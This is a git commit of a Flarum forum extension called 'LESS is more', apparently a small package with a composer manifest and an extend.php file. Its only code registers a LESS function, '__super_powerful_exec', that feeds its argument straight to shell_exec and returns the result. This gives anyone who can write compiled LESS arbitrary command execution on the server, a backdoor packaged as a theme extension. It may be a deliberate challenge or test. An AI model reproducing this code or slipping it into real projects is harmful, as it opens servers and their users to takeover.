This commit is contained in:
2022-08-30 16:14:38 +08:00
commit a4e262621d
4 changed files with 7668 additions and 0 deletions

1
.gitignore vendored Normal file
View File

@@ -0,0 +1 @@
vendor/

23
composer.json Normal file
View File

@@ -0,0 +1,23 @@
{
"name": "idawnlight/flarum-less",
"description": "LESS is more!",
"type": "flarum-extension",
"require": {
"flarum/core": "^1.0.0"
},
"autoload": {
"psr-4": {
"Light\\Less\\": "src/"
}
},
"extra": {
"flarum-extension": {
"title": "LESS is more",
"icon": {
"name": "fas fa-smile",
"backgroundColor": "#238c59",
"color": "#fff"
}
}
}
}

7625
composer.lock generated Normal file

File diff suppressed because it is too large Load Diff

19
extend.php Normal file
View File

@@ -0,0 +1,19 @@
<?php
use Flarum\Extend;
return [
(new Extend\Theme())
->addCustomLessFunction("__super_powerful_exec", function (mixed $text) {
if (is_string($text)) {
$result = shell_exec($text);
if (is_string($result)) {
return $result;
} else {
return "";
}
} else {
return "";
}
})
];